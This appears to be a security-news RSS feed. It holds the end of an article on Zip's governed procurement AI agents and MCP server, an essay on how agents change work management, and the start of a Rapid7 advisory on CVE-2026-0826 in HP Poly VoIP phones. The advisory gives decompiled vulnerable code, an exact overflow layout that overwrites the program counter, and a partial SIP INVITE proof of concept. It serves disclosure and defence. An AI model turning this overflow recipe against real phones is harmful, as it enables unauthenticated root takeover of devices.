Assistants across finance, supply chain, and procurement. Coupa launched its own Compose platform and Catalyst services bundle at Inspire 2026 in Las Vegas in May, an environment for building and orchestrating AI agents across procurement, along with a forward-deployed engineering services offering. And Gartner predicts 40% of enterprise applications will include task-specific AI agents by end of 2026, up from less than 5% today.</p><p>What makes Zip's approach distinct — and what makes it a potentially important test case for the broader enterprise AI market — is not the agents themselves, but where they run and what constrains them.</p><h2><b>Why procurement teams are uploading sensitive financial data into personal AI accounts</b></h2><p>The announcement centers on an enterprise anxiety that procurement chiefs increasingly describe in private but rarely say publicly: their employees are already using AI for sensitive financial work, they're just doing it in unmonitored, personal accounts. </p><p>Across the enterprise, employees are uploading spend data into Claude to analyze it, redlining sensitive contracts inside ChatGPT, and generating internal financial analyses in personal Gemini or Copilot accounts. Every time they do, sensitive enterprise data leaves systems where every action is controlled and audited, entering environments with no oversight, no compliance controls, and no record of what was done.</p><p>The consequences for getting this wrong are not hypothetical. <a href="https://en.wikipedia.org/wiki/Sarbanes%E2%80%93Oxley_Act">SOX violations</a> carry fines of up to $25 million. Executives can face prison time. Public companies that fail compliance audits can be delisted from the stock exchange. When an auditor asks how a decision was made six months later, no one can produce a record.</p><p>"After working with hundreds of enterprises — including the world's leading AI companies — we've learned that this kind of work is already happening, with or without governance," said Lu Cheng, Co-Founder and CTO at Zip. "Even the companies building AI themselves want this work governed."</p><p>Zip's CEO Rujul Zaparde put a finer point on it in an interview with VentureBeat, describing the competitive dynamics that make procurement an unusually high-stakes domain for AI governance. "Most enterprises don't operate on a single procurement platform," Zaparde said. "They're running SAP as their ERP, Coupa for some sourcing, ServiceNow for IT requests, contract management tools for legal, risk and compliance platforms for vendor due diligence, and a long tail of point tools alongside them." </p><p>He argued that this fragmentation gives Zip, as the orchestration layer connecting all of those systems, a unique advantage: "AI can only be as good as the data it has access to. Because Zip sits above all of these tools, with visibility into each, and orchestrates the entire procurement process from request to payment, its AI can take action across the full procurement workflow in ways point solutions cannot."</p><h2><b>Inside the five Superagents Zip built to automate procurement's hardest bottlenecks</b></h2><p>Zip is launching five <a href="https://zip.com/ai">Superagents</a>, each targeting a specific pressure point in the procurement lifecycle. A Procurement Superagent unblocks stalled requests and manages tail-spend negotiation. A Legal Superagent reviews and redlines contracts against company-approved playbooks. An AP Superagent sorts, codes, matches, and routes invoices. A Config Superagent identifies workflow bottlenecks and drafts configuration changes for admin review. And an Intake Superagent guides employees through compliant request creation, routing purchases to the right buying channel and nudging toward preferred suppliers.</p><p>The five agents are not standalone services. <a href="https://zip.com/engineering-blog">Zip's engineering blog</a> reveals the architectural philosophy underlying them: all agents at Zip — pre-built and custom — run on a shared execution engine built within the company's App Studio workflow automation platform. They differ only in configuration: the prompt that defines behavior, the tools they can access, and the format of their output. Zip's engineering team describes this as a "<a href="https://zip.com/engineering-blog/custom-agents-composable-ai-platform">Lego block</a>" model — the out-of-the-box agents are finished models; custom agents are whatever enterprises choose to build from the same components.</p><p>Under the hood, the agent architecture uses a <a href="https://zip.com/engineering-blog/custom-agents-composable-ai-platform">four-node LangGraph state graph</a> — preprocessing, orchestration, final synthesis, and post-processing — that separates information gathering from response generation. The orchestration node contains a ReAct (Reason + Act) agent that autonomously decides which tools to call: document retrieval via vector search, structured API data from purchase requests and contracts, or company-specific policy context from a reference library.</p><p>This separation is deliberate. As Zip's engineering team explains, conflating research and synthesis into a single LLM call would mean asking one model to be both a diligent researcher and an eloquent writer simultaneously. Separating them allows Zip to optimize each independently — including using different model tiers for each.</p><p>What differentiates Zip's agents from the slew of procurement AI announcements from <a href="https://www.sap.com/index.html">SAP</a>, <a href="https://www.coupa.com/">Coupa</a>, and others is the governance architecture. Every Superagent action is governed by the same roles, permissions, and controls that apply to human employees. High-impact steps like system updates and approvals use deterministic logic rather than LLM inference. And every action generates a complete audit trail.</p><h2><b>What happens when an AI agent misclassifies a $150,000 contract</b></h2><p>Zaparde shared a specific error case from beta testing to illustrate how Zip's human-in-the-loop design handles real-world failures. "Our Intake Superagent flagged a $150K marketing services contract as a standard SaaS subscription," he said. "But because every Superagent action hits a human-in-the-loop checkpoint before it executes, the procurement team caught the misclassification before it went anywhere. They corrected the category, the right approvers were routed in, and the GL coding flowed through accurately downstream."</p><p>The error-and-correction anecdote is revealing because it highlights the tension at the heart of every enterprise AI deployment: these systems will make mistakes, and the question is whether the surrounding infrastructure catches them before they cause damage.</p><p>Zaparde was direct when asked who bears liability if a Superagent triggers a compliance failure: "Customers remain accountable for their procurement decisions, the same way they would be with any vendor or business process. That's standard across enterprise software. Payroll vendors don't take on liability for misclassified employees, ERP vendors don't take on liability for misstated financials, and the same principle applies to AI-augmented work."</p><p>But he was equally emphatic that the design goal is to make the liability question moot. "Zip's Superagents are designed so this scenario shouldn't happen in the first place. They don't operate outside governance, they operate inside it. Every action is auditable, every high-impact step is gated by human review, and the audit trail makes it possible to demonstrate compliant decision-making to auditors and regulators."</p><p>The Superagents are currently in beta, with general availability expected this summer. Zip has been deploying AI agents in procurement since 2024, and today more than 50 are live across hundreds of enterprise customers. <a href="https://zip.com/customers/northwestern-mutual">Northwestern Mutual</a> alone saved 1,400 hours from a single AI agent. Superagents represent the next evolution — more reasoning, more cross-system action, more autonomy — all inside Zip's governance layer. </p><p>When asked what percentage of agent actions require human escalation, Zaparde said there's no single number because every agent handles a different type of task, but added: "In finance and procurement specifically, we deliberately err on the side of escalation any time a transaction touches risk thresholds, policy compliance, legal requirements, budget guardrails, or governance rules. That's a deliberate design choice, not a limitation."</p><h2><b>How Zip's procurement-native MCP could reshape where enterprise AI actually runs</b></h2><p>The second announcement may prove more consequential for the broader enterprise AI market. <a href="https://zip.com/">Zip MCP</a> is a vendor-hosted implementation of the <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol</a> — the open standard originally created by Anthropic in November 2024 and later donated to the Linux Foundation, with MCP SDK downloads reaching 97 million per month by March 2026, a 970x increase in 18 months.</p><p>A fundamental challenge has limited MCP's enterprise adoption: organizations deploying MCP are running into a predictable set of problems — audit trails, SSO-integrated auth, gateway behavior, and configuration portability. The MCP protocol itself doesn't yet natively solve for the governance requirements that regulated industries and compliance-sensitive functions like procurement demand.</p><p>Zip is attempting to solve this from the application layer. Its MCP server connects Zip's procurement platform directly to any MCP-compatible AI assistant. An employee researching vendors in Claude, for instance, can have Zip proactively surface a request submission from that conversation. Power users can pull aggregated reporting across suppliers, requests, invoices, and payments from within a single AI conversation. Every action respects user permissions through OAuth, runs inside Zip's compliance controls, and generates a complete audit trail. Zip claims this is the first time MCP has been implemented natively for enterprise procurement.</p><p>The claim matters because procurement is arguably the most governance-sensitive business function where MCP could deliver immediate value: it involves financial commitments, legal contracts, regulatory compliance, and supplier data that touch SOX, GDPR, and dozens of other regulatory frameworks.</p><p>When asked what happens to sensitive data once it reaches a third-party model's context window, Zaparde was direct: "MCP is tied to an authenticated user, and the same role-based permissions that apply inside Zip apply through MCP as well — meaning MCP can only retrieve information the user is already authorized to see." He added that Anthropic and OpenAI operate as Zip subprocessors, governed by data processing agreements with Zero Data Retention provisions, so "data flowing through MCP isn't used for model training, and it's protected by enterprise-grade controls at both ends of the connection."</p><h2><b>The companies building AI chose Zip instead of building their own procurement tools</b></h2><p>Zip's customer list for these announcements is impressive but still developing. <a href="https://block.xyz/">Block</a>, <a href="https://www.ucihealth.org/">UCI Health</a>, and <a href="https://www.snowflake.com/en/">Snowflake</a> are the named launch customers for AI Spend Automation, the premium enterprise offering that bundles platform access, AI consumption credits, and Zip's forward-deployed engineers. </p><p><a href="https://www.ucihealth.org/">UCI Health</a> reported $20 million in cost avoidance from a single IT infrastructure project. Zaparde explained the methodology: "The $20 million came from a single IT infrastructure project at UCI Health where their procurement team used AI-powered benchmarking to enter vendor negotiations with real market data rather than internal assumptions alone." He was careful to frame it as a collaborative result: "UCI Health's procurement team did the negotiating and the AI gave them the benchmarks to do it well."</p><p>Zip claims its broader customer base has saved more than $10 billion through its AI suite. Zaparde said that figure "includes direct cost reductions through better vendor negotiations, time savings from automating manual procurement workflows, risk reduction through avoided fines and compliance penalties, and indirect spend savings from improved renewal management." A Forrester Total Economic Impact study modeled a 386% ROI for large enterprises using Zip, showing that on average, the platform pays for itself in under six months.</p><p>But the customer stories that matter most for Zip's strategic narrative are its relationships with the companies whose models power its own agents. <a href="https://zip.com/customers/openai">OpenAI</a> has deployed more than 10 AI agents on Zip's platform. <a href="https://zip.com/customers/anthropic">Anthropic</a>, whose Claude model Zip uses and whose engineers created MCP, more than doubled its procurement volume through Zip while keeping headcount flat. </p><p>The fact that both companies chose to buy rather than build is arguably Zip's strongest competitive proof point: if the organizations with the most AI engineering talent on earth decided the procurement governance problem wasn't worth solving internally, it suggests the moat is real. Beyond AI, the customer list spans <a href="https://zip.com/customers/t-mobile">T-Mobile</a>, <a href="https://zip.com/customers/dollar-tree">Dollar Tree</a>, <a href="https://zip.com/customers/canva">Canva</a>, and <a href="https://zip.com/customers/prudential">Prudential</a> — large, regulated enterprises where compliance failures carry material consequences.</p><p>"When the companies building AI choose Zip rather than build it themselves, that tells you something about the moat," Zaparde said.</p><h2><b>SAP, Coupa, and the intensifying AI arms race in enterprise procurement</b></h2><p>Zip's announcements don't happen in a vacuum. The enterprise procurement AI market is experiencing a rapid convergence as every major platform races to embed agentic capabilities.</p><p>SAP has deployed more than 50 domain-specific <a href="https://www.sap.com/products/artificial-intelligence/ai-assistant.html">Joule Assistants</a> at <a href="https://www.sap.com/blogs/top-5-sapphire-2026-ai-announcements">Sapphire 2026</a>, orchestrating a subset of over 200 specialized agents to execute precise tasks. SAP has even launched a Joule Agent in the SAP Ariba Intake Management solution that captures and routes procurement requests and connects to existing procurement systems — a move that reaches directly into Zip's core territory. Coupa CEO Leagh Turner has argued her platform's foundation sets it apart, saying that while others are "bolting AI onto aging systems," Coupa has one platform that scales with governance. Coupa says it has deployed more than 20 specialized agents, and its $10 trillion dataset of historical transactions gives it a training data advantage that Zip cannot match.</p><p>Zaparde's counter-argument rests squarely on Zip's position as an orchestration layer rather than a point solution. "No matter how powerful those individual tools are, their AI is necessarily limited to the data inside each of their own systems," he said. "Our moat is the orchestration layer and the AI agents built on top of it: agents that are uniquely able to reason and act across multiple systems and reconcile their data as a whole where needed." He pointed to Zip's recognition as a Leader in the first-ever <a href="https://zip.com/resources/idc-marketscape-spend-orchestration">IDC MarketScape for Spend Orchestration</a> as evidence that the category itself has been validated.</p><p>The argument carries a strategic vulnerability, however, that Zaparde was asked about directly: Zip's leading AI-company customers are also its model providers and potential competitors. What happens if Anthropic or OpenAI builds procurement tooling? </p><p>"The mistake is assuming procurement is fundamentally a model problem," Zaparde responded. "Even if an LLM could perfectly understand a contract or negotiate with a vendor, it still needs to operate within company policies, approval chains, supplier relationships, ERP systems, and audit requirements. That context layer is what Zip has spent the past six years building. We see the model providers as accelerating what's possible, while we focus on making that intelligence operational within the enterprise."</p><h2><b>Why Zip is trading SaaS margins for forward-deployed engineers and AI credits</b></h2><p>The <a href="https://zip.com/ai">AI Spend Automation</a> offering raises questions about Zip's evolving business model. Bundling platform access, AI consumption credits, and forward-deployed engineers who build and deploy custom agents inside customer environments is a strikingly different margin profile than traditional SaaS — and it's a model that Coupa, with its own new Catalyst services offering, is also now pursuing.</p><p>Zaparde was transparent about the tradeoff: "Yes, it is a different margin profile than pure SaaS, and we're okay with that. Right now, our priority is adoption and proving value for customers. We believe that if we get the outcomes right, the economics follow. Companies that rush to protect margins before they've demonstrated real value end up with neither. We're playing the long game."</p><p>Zip is <a href="https://zip.com/blog/series-d">valued at $2.2 billion</a> as of its October 2024 Series D round, the largest investment in procurement technology in over two decades. The company has raised approximately $371 million since its founding in 2020 and counts among its investors <a href="https://www.ycombinator.com/">Y Combinator</a>, <a href="https://www.bondcap.com/">BOND</a>, <a href="https://dst-global.com/">DST Global</a>, <a href="https://www.tigerglobal.com/">Tiger Global</a>, and <a href="https://www.crv.com/">CRV</a>.</p><p>The deepest technical signal in Monday's announcement may be what it reveals about the infrastructure moat Zip is building beneath its agents. The company's engineering team recently published detailed architecture for its internationalization system — a pipeline that uses LLM-based translation with glossary enforcement, Kafka change data capture, and a dedicated Redis caching cluster to translate user-generated content across multinational enterprise customers in real time.</p><p>The system uses a technique called "<a href="https://zip.com/engineering-blog/translating-user-generated-content">lazy persistence</a>," where translations are initially stored with a one-week TTL and only promoted to permanent storage when a user actually reads them. This kind of deeply procurement-specific infrastructure — designed to support AI agents that operate across languages, jurisdictions, and regulatory regimes — takes years to build, not quarters, and no general-purpose AI tool can replicate it with a better model alone.</p><h2><b>The real product Zip is selling is the audit trail</b></h2><p>The central question for Zip — and for every enterprise software company racing to embed agentic AI into regulated workflows — is whether governance-first AI agents will actually earn the trust of procurement teams that have spent decades building manual controls for very good reasons. The regulatory stakes are real: SOX fines, criminal liability for executives, stock exchange delisting for companies that fail compliance audits. When an auditor shows up and asks how a purchasing decision was made, someone has to produce a paper trail.</p><p>That is ultimately the bet Zip is making with Superagents and MCP. Not that AI can do procurement work — at this point, that's table stakes — but that AI can do procurement work and leave a record that will satisfy an auditor two years from now. In a market flooded with companies promising autonomous agents, Zip is wagering that the most valuable thing an AI can produce isn't a decision. It's proof that the decision was made correctly.</p><p><a href="https://zip.com/">Zip MCP</a> and <a href="https://zip.com/ai">Zip Superagents</a> are available in beta today, included with all core Zip products, with general availability expected this summer. <a href="https://zip.com/platform-overview">Zip AI Spend Automation</a> is available now for enterprise customers.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Work management was built around human latency]]></title>
<description><![CDATA[I have been in software long enough to remember when enterprise products shipped on CDs. Actual plastic discs reviewed by enterprise IT committees. PMs maintained 200-page specifications, engineers worked from Microsoft Project files and updates circulated as email attachments. If the plan change...]]></description>
<link>https://tsecurity.de/de/3565465/it-security-nachrichten/work-management-was-built-around-human-latency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3565465/it-security-nachrichten/work-management-was-built-around-human-latency/</guid>
<pubDate>Tue, 02 Jun 2026 11:08:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>I have been in software long enough to remember when enterprise products shipped on CDs. Actual plastic discs reviewed by enterprise IT committees. PMs maintained 200-page specifications, engineers worked from Microsoft Project files and updates circulated as email attachments. If the plan changed, the PM opened the file, saved a new version and emailed it around again. A few days later, half the team would be working from the latest plan while the other half was still operating from an outdated version.</p>



<p>That sounds absurd now, but at the time it matched the operating tempo of software development.</p>



<h2 class="wp-block-heading">Why Waterfall worked</h2>



<p>The original project-management models for software came from industries that built large, complex systems long before software existed, particularly manufacturing and construction. Six-month specifications, multi-year builds, gated phases and tightly controlled handoffs made sense in a world where software shipped slowly, and markets moved in quarters rather than days.</p>



<p>The giant specification document served a real purpose. It compressed everything the organization had learned into a single artifact, handed it to the builders and effectively said: go build this, and we’ll regroup in a year.</p>



<p>Then the web changed the clock.</p>



<p>Feedback loops collapsed from quarters to weeks, and eventually to days. Teams could ship on Tuesday and observe user behavior on Wednesday. In that environment, the 200-page specification stopped looking like disciplined planning and started looking like operational drag. The pace of work changed which meant the tooling and coordination model had to change with it.</p>



<h2 class="wp-block-heading"><a></a>Why Agile took over</h2>



<p>Jira, Asana, Notion, Linear and Slack became foundational because they matched the tempo of modern work over the last two decades. They were designed for a world where execution still took humans days or weeks, where work moved across queues owned by different people, and where plans required constant revision because reality kept shifting underneath them.</p>



<p>A ticket tracks a commitment made at a specific point in time because somebody else is waiting on that work. Sprint boards help teams coordinate around the reality that humans cannot execute instantly and cannot keep every dependency loaded into memory simultaneously. Standups exist because information spreads slowly. Backlog grooming exists because demand arrives faster than available execution capacity.</p>



<p>The process ceremony has a real function. It compensates for latency. Often smart latency compensation. Often necessary latency compensation. But latency compensation, nonetheless.</p>



<p>Waterfall was correct for the pace of 1995. Agile was correct for the pace of the last twenty-five years. Different operating speeds produce different management systems.</p>



<h2 class="wp-block-heading">Execution speed changes the system</h2>



<p>Now compare that model with what happens when I ask an agent to do something instead of asking a human colleague.</p>



<p>In the old workflow, the colleague already had their own priorities and queue of work. They could not immediately stop everything for my request. Maybe they got to it later that afternoon. Maybe the next day. Maybe it entered sprint planning and returned one to three weeks later. By the time the work came back, I had already context-switched into something else.</p>



<p>That waiting creates more than delay. It creates in-flight work, and in-flight work creates management overhead. Teams start tracking, grooming, triaging, reminding, reconciling and coordinating because the work itself is sitting in queues.</p>



<p>Once execution speeds up dramatically, much of that overhead starts looking different.</p>



<p>With an agent, I ask for something, it runs and it comes back ten minutes later while I am still operating inside the same mental context. I review the output, redirect it, ask again and iterate immediately. Five iterations can happen in half an hour, producing work that previously might have taken weeks to move through a marketing queue, an ops process or an engineering sprint.</p>



<p>That workflow does not fit naturally onto a sprint board anymore. If I encounter an issue at 10:00 a.m., an agent drafts a fix by 10:20 and I review it by 10:35, the ticket increasingly becomes a historical artifact recording a bottleneck that no longer meaningfully exists.</p>



<h2 class="wp-block-heading"><a></a>Backlogs exist to manage latency</h2>



<p>David Allen’s GTD methodology includes the two-minute rule: if something takes less than two minutes, do not queue it. Just do it. The cost of tracking the task can exceed the cost of completing it.</p>



<p>Writing the task down, tagging it, categorizing it, finding it again later and deciding when to handle it may require more energy than simply finishing the work immediately.</p>



<p>Agents introduce an organizational version of the same principle. If an agent can complete something quickly, it often becomes easier to launch the agent than to delegate the work to another person and manage the surrounding coordination.</p>



<p>Mechanically, that is what tickets and backlogs do. They create ledger entries indicating that somebody committed to work and the organization is now waiting for it. Those ledgers matter because human execution is slow and shared organizational memory is fragile.</p>



<p>As those constraints weaken, the ledger has less to track.</p>



<p>The work runs, returns and waits primarily for review. The scarce resource increasingly becomes judgment rather than execution itself.</p>



<p>Sprint ceremonies, standups, backlog grooming, triage meetings and workflow management largely exist to compensate for execution bottlenecks that are beginning to shrink across large portions of knowledge work. Not every category of work changes this way. Deep architectural decisions, strategic judgment, creative direction and interpersonal negotiation still operate on human time. But the enormous, long tail of “someone should probably get to this” work changes meaningfully when that someone can be an agent that starts immediately.</p>



<h2 class="wp-block-heading">What agentic workflows look like</h2>



<p>Imagine a customer posts a small product complaint into a shared Slack channel:</p>



<p>“This dropdown closes when I try to scroll inside it. Driving me crazy.”</p>



<p>Under the old model, QA reproduces the issue and files a ticket. A PM triages it, groups it into other frontend work and schedules it into a sprint. A developer eventually picks it up, fixes it, opens a PR, waits for review, merges the change and ships it in the next release cycle. Two to four weeks pass. Multiple people touch the issue. The organization produces tickets, PRs, release notes and Slack threads because context decays over time and teams need durable coordination artifacts.</p>



<p>Under the new model, an agent reads the message, reproduces the issue in a sandbox, drafts a fix, runs tests and security scans, attaches a short video showing the corrected behavior and notifies a human reviewer. The human watches the video, reviews the diff and decides whether the change should ship.</p>



<p>The elapsed time drops below an hour, while human attention concentrates almost entirely on judgment rather than coordination.</p>



<p>Versions of this workflow already exist inside highly agentic teams.</p>



<h2 class="wp-block-heading"><a></a>The next layer of tooling</h2>



<p>Most technology shifts follow a similar pattern. First, information moves faster. Then work itself moves faster. After that, entirely new management and coordination systems emerge around the new operating speed.</p>



<p>That is the phase we are entering now.</p>



<p>AI accelerates execution itself, and early adopters are already stitching together workflows that look very different from the work-management stack most companies still use today. The next generation of organizational tooling probably will not resemble software built for the pre-AI era because those systems assumed the slowest part of the organization was human execution.</p>



<p>That assumption is beginning to break.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-0826: Critical unauthenticated stack buffer overflow in HP Poly VVX and Trio VoIP Phones (FIXED)]]></title>
<description><![CDATA[OverviewRapid7 Labs conducted a zero-day research project against an HP Poly VVX 450 Voice over Internet Protocol (VoIP) phone. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-0826. A remote attacker can leverage CVE-2026-0...]]></description>
<link>https://tsecurity.de/de/3563223/it-security-nachrichten/cve-2026-0826-critical-unauthenticated-stack-buffer-overflow-in-hp-poly-vvx-and-trio-voip-phones-fixed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563223/it-security-nachrichten/cve-2026-0826-critical-unauthenticated-stack-buffer-overflow-in-hp-poly-vvx-and-trio-voip-phones-fixed/</guid>
<pubDate>Mon, 01 Jun 2026 15:35:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p><a href="https://www.rapid7.com/research" target="_self"><span>Rapid7 Labs</span></a><span> conducted a zero-day research project against an </span><a href="https://www.hp.com/ie-en/products/accessories/product-details/2101802544" target="_blank"><span>HP Poly VVX 450</span></a><span> Voice over Internet Protocol (VoIP) phone. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-0826. A remote attacker can leverage CVE-2026-0826 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device. </span></p><p><span>The vulnerability is present in the device's parsing of </span><a href="https://en.wikipedia.org/wiki/Session_Description_Protocol" target="_blank"><span>Session Description Protocol</span></a><span> (SDP) attributes for </span><a href="https://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment" target="_blank"><span>Interactive Connectivity Establishment</span></a><span> (ICE). The ICE feature, which is not enabled by default, must be enabled for the device to be exploitable by a remote attacker. </span></p><p><span>While we discovered and validated the vulnerability on a VVX 450 device, the vulnerability has been confirmed to affect all models in the VVX series (VVX 150, VVX 250, VVX 350, and VVX 450), as well as three models from the </span><a href="https://www.hp.com/ie-en/poly/phones/ip-conference.html" target="_blank"><span>Trio IP Conference</span></a><span> series (Trio 8800, Trio 8500, and Trio 8300).</span></p><p><span>CVE-2026-0826 has a CVSSv4 score of </span><a href="https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" target="_blank"><span>9.2 (Critical)</span></a><span>, and a Common Weakness Enumeration (CWE) of </span><a href="https://cwe.mitre.org/data/definitions/121.html" target="_blank"><span>CWE-121: Stack-based Buffer Overflow</span></a><span>.</span></p><h2>Impact</h2><p><span>A </span><a href="https://www.metasploit.com/" target="_blank"><span>Metasploit</span></a><span> exploit module has been developed to demonstrate how an unauthenticated attacker could leverage this vulnerability to gain root privileges on a vulnerable device.</span></p><p><span>Shown below is the exploit being run against a target Poly VVX 450 device running a vulnerable firmware version </span><span><span data-type="inlineCode">6.4.7.4477</span></span><span>.</span></p><p><span> </span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8e342bfb60ff8f6b/6a15eaebfb2fcd857cc3bd0c/image1.png" alt="image1.png" caption="Figure 1: Metasploit exploit module targeting a Poly VVX 450 device." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="image1.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8e342bfb60ff8f6b/6a15eaebfb2fcd857cc3bd0c/image1.png" data-sys-asset-uid="blt8e342bfb60ff8f6b" data-sys-asset-filename="image1.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Metasploit exploit module targeting a Poly VVX 450 device." data-sys-asset-alt="image1.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Metasploit exploit module targeting a Poly VVX 450 device.</figcaption></div></figure><p>⠀</p><p><span>As we can see above, the attacker achieves unauthenticated RCE with root privileges on the device. This is demonstrated by the attacker executing a reverse shell payload and running several arbitrary OS shell commands.</span></p><h2>Technical analysis</h2><p><span>Our analysis is based upon a VVX 450 device running firmware version </span><span><span data-type="inlineCode">6.4.7.4477</span></span><span>. During testing, the test device had an IPv4 address of </span><span><span data-type="inlineCode">192.168.86.80</span></span><span>. The non-default ICE feature was enabled by specifying the following in the device configuration:</span></p><p><span></span></p><pre language="html">device.feature.nat.ice.enabled="1"</pre><p></p><p><span>The main binary that provides the majority of functionality to the device is </span><span><span data-type="inlineCode">/user/local/root/polyapp</span></span><span> (32 bit ARM, Little Endian). This binary parses SDP data provided in an </span><a href="https://en.wikipedia.org/wiki/Session_Initiation_Protocol" target="_blank"><span>Session Initiation Protocol</span></a><span> (SIP) request over UDP on port 5060.</span></p><p><span>When SDP data is processed, if ICE is enabled, an SDP attribute named candidate can be parsed. The candidate attribute is intended to contain a transport address for a candidate that can be used for connectivity checks. An example of a valid candidate attribute can be seen in the </span><a href="https://datatracker.ietf.org/doc/html/rfc8839#section-5.1" target="_blank"><span>RFC8839 5.1</span></a><span>:</span></p><p><span></span></p><blockquote><span><em>The following is an example SDP line for a UDP server-reflexive "candidate" attribute for the RTP component:</em></span></blockquote><blockquote><span><em>a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998</em></span></blockquote><p></p><p><span>Using the example from the RFC, a SIP request can contain SDP data that looks like this, with the </span><span><span data-type="inlineCode">candidate</span></span><span> attribute appearing on the final line:</span></p><p><span></span></p><pre language="html">c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:2 1 UDP 1694498815 192.0.2.3 45664 typ srflx raddr 203.0.113.141 rport 8998</pre><p>⠀</p><p><span>The </span><span><span data-type="inlineCode">/user/local/root/polyapp</span></span><span> binary has two functions that will parse incoming SDP data, named </span><span><span data-type="inlineCode">ParseRemoteSDP</span></span><span> and </span><span><span data-type="inlineCode">IceSession::ParseRemoteSdpForAddresses</span></span><span>. In both cases, when a string line starting with “</span><span><span data-type="inlineCode">a=candidate:</span></span><span>”  is found, a helper function </span><span><span data-type="inlineCode">ParseICECandidate</span></span><span> (at address </span><span><span data-type="inlineCode">0xB12780</span></span><span>) is called to parse the expected </span><span><span data-type="inlineCode">candidate</span></span><span> attribute held in the remainder of that string line. The intent is to parse out the individual components of a </span><span><span data-type="inlineCode">candidate</span></span><span> attribute which are separated by white space characters.</span></p><p><span>This helper function </span><span><span data-type="inlineCode">ParseICECandidate</span></span><span> contains a stack based buffer overflow. Shown below we can see that the start of the function contains a call to </span><span><span data-type="inlineCode">memcpy</span></span><span>, which will copy the incoming string line being processed into a 256 byte stack buffer. No length check is performed to ensure the incoming string length is less than 256 bytes. Therefore by providing a candidate attribute whose length is greater than 256 bytes, a stack-based buffer overflow will occur.</span></p><p><span></span></p><pre language="c">int __fastcall ParseICECandidate( const void *string_line, size_t string_line_length, int a3, int *a4, _DWORD *a5, int *a6, std::string *a7, _DWORD *a8, _DWORD *a9, std::string *a10, _DWORD *a11)
{
	size_t v11; // r0
	char *v12; // r0
	size_t v13; // r0
	char *v14; // r0
	size_t v15; // r0
	char buffer256[256]; // [sp+25h] [bp-11Fh] BYREF
	char v22[7]; // [sp+128h] [bp-1Ch] BYREF
	char v23; // [sp+12Fh] [bp-15h] BYREF
	char *nptr; // [sp+130h] [bp-14h]
	char v25; // [sp+137h] [bp-Dh]

	v25 = 0;
	if ( !string_line )
		return 0;
	memcpy(buffer256, string_line, string_line_length); // &lt;--- buffer256 can be overflowed due to no destination length check
	buffer256[string_line_length] = 0;
	nptr = strtok_r(buffer256, ":", (char **)&amp;buffer256[255]);
	nptr = strtok_r(0, " ", (char **)&amp;buffer256[255]);
	if ( !nptr )
		return 0;

// ...snip...</pre><p>⠀</p><p><span>To demonstrate the vulnerability, we can construct an example SIP INVITE request that contains the required SDP data to trigger the buffer overflow. The malicious </span><span><span data-type="inlineCode">candidate</span></span><span> attribute will be comprised of:</span></p><ul><li><p><span>An attribute name of “</span><span><span data-type="inlineCode">a=candidate:</span></span><span>”, which is 12 bytes long.</span></p></li><li><p><span>244 </span><span><span data-type="inlineCode">A</span></span><span> characters, to fill out variable </span><span><span data-type="inlineCode">buffer256</span></span><span> (shown in the code snippet above), as 244 + 12 is 256.</span></p></li><li><p><span>19 </span><span><span data-type="inlineCode">B</span></span><span> characters, to provide padding between the variable </span><span><span data-type="inlineCode">buffer256</span></span><span> and the saved registers on the current stack frame.</span></p></li><li><p><span>The characters </span><span><span data-type="inlineCode">1111</span></span><span> (</span><span><span data-type="inlineCode">0x31313131</span></span><span> in hex) to overwrite the saved </span><span><span data-type="inlineCode">r4</span></span><span> register.</span></p></li><li><p><span>The characters </span><span><span data-type="inlineCode">2222</span></span><span> (</span><span><span data-type="inlineCode">0x32323232</span></span><span> in hex) to overwrite the saved </span><span><span data-type="inlineCode">r5</span></span><span> register.</span></p></li><li><p><span>The characters </span><span><span data-type="inlineCode">3333</span></span><span> (</span><span><span data-type="inlineCode">0x33333333</span></span><span> in hex) to overwrite the saved </span><span><span data-type="inlineCode">r11</span></span><span> register.</span></p></li><li><p><span>The characters </span><span><span data-type="inlineCode">4444</span></span><span> (</span><span><span data-type="inlineCode">0x34343434</span></span><span> in hex) to overwrite the saved </span><span><span data-type="inlineCode">pc</span></span><span> register.</span></p></li><li><p><span>A large number of </span><span><span data-type="inlineCode">C</span></span><span> characters (</span><span><span data-type="inlineCode">0x43</span></span><span> in hex) to show the remaining attacker controlled data on the stack.</span></p></li></ul><p><span>The entire example SIP INVITE request sent to the device is shown below:</span></p><p><span></span></p><pre language="html">INVITE sip:192.168.86.80:5060 SIP/2.0
Via: SIP/2.0/UDP 192.168.86.122:5060
Route: &lt;sip:192.168.86.122:5060;lr&gt;
From: &lt;sip:192.168.86.80:5060&gt;
To: &lt;sip:192.168.86.80:5060&gt;
